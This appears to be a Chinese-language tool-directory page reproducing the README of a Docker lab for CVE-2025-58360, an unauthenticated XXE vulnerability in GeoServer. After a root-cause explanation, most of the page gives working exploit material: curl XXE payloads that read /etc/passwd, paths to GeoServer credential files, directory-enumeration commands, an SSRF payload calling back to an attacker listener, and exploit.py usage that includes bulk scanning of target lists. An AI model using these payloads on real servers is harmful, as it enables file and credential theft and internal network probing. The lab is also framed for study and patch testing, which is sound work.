Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-58360-GeoServer-XXE — 基于Docker的实验室,演示CVE-2025-58360,一个在GeoServer WMS/OWS服务中的严重未认证XXE注入漏洞。包含用于文件读取、SSRF和目录枚举的利用脚本。 | Kitploit
工具/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

基于Docker的实验室,演示CVE-2025-58360,一个在GeoServer WMS/OWS服务中的严重未认证XXE注入漏洞。包含用于文件读取、SSRF和目录枚举的利用脚本。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
39个月前尚未审核
分享

CVE-2025-58360:GeoServer XXE 实验环境

GeoServer OWS/WMS 服务中未经身份验证的 XML 外部实体 (XXE) 注入漏洞

CVSS: 9.8 严重
受影响版本: <= 2.25.5, 2.26.0-2.26.1
已修复版本: 2.25.6+, 2.26.2+, 2.27.0+

概述

本实验环境演示了 CVE-2025-58360,这是一个存在于 GeoServer WMS/OWS XML 请求处理中的严重 XXE 漏洞。该漏洞允许未经身份验证的攻击者执行以下操作:

  • 从服务器文件系统读取任意文件
  • 通过 Java 的 file:// 处理程序列出目录内容
  • 对内部服务执行 SSRF 攻击
  • 从 GeoServer 配置文件中窃取凭据

根因

GeoServer 的 SLDParser.parseSLD() 方法在处理 XML 样式文档时没有实施适当的实体解析限制。虽然 OWS 调度器使用了 AllowListEntityResolver 来阻止 XXE,但 SLD 解析代码路径绕过了这一保护:

root@kitploit:~
POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS 调度器                | <-- 已配置 EntityResolver
|   (检测请求体中的 SLD)      |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader        |
|   -> SLDHandler.parse()      |
|   -> SLDParser.parseSLD()    | <-- 无 EntityResolver!
+-----------------------------+
     |
     v
   XXE 解析成功 -> 文件泄露/SSRF

快速开始

root@kitploit:~
# 启动易受攻击和已修复的两个实例
docker-compose up -d

# 易受攻击实例: http://localhost:8080/geoserver
# 已修复实例:    http://localhost:8081/geoserver

# 等待约 60 秒启动完毕

默认凭据: admin / geoserver


漏洞利用

文件读取

root@kitploit:~
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

易受攻击实例的响应:

root@kitploit:~
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

已修复实例的响应:

root@kitploit:~
<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

高价值目标

root@kitploit:~
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

目录列表

Java 的 file:// 处理程序将目录读取为以换行符分隔的文件列表:

root@kitploit:~
# 列出根目录
python3 exploit.py -u http://localhost:8080 --file /

# 枚举 geoserver 数据目录
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

输出示例:

root@kitploit:~
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

这允许在针对特定文件之前,先对整个文件系统进行枚举。

SSRF

root@kitploit:~
# 启动监听器
nc -lvnp 9999

# 发送 payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

使用利用脚本

root@kitploit:~
# 版本检测
python3 exploit.py -u http://localhost:8080

# 安全探测(不泄露数据)
python3 exploit.py -u http://localhost:8080 --probe

# 文件读取
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# 详细模式
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# 批量扫描
python3 exploit.py --list targets.txt --output vulnerable.txt

实验环境目录结构

root@kitploit:~
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

修复建议

升级至 GeoServer 2.25.6+、2.26.2+ 或 2.27.0+


免责声明

仅用于授权的安全测试和教育目的。


El Perro 笑话

下载工具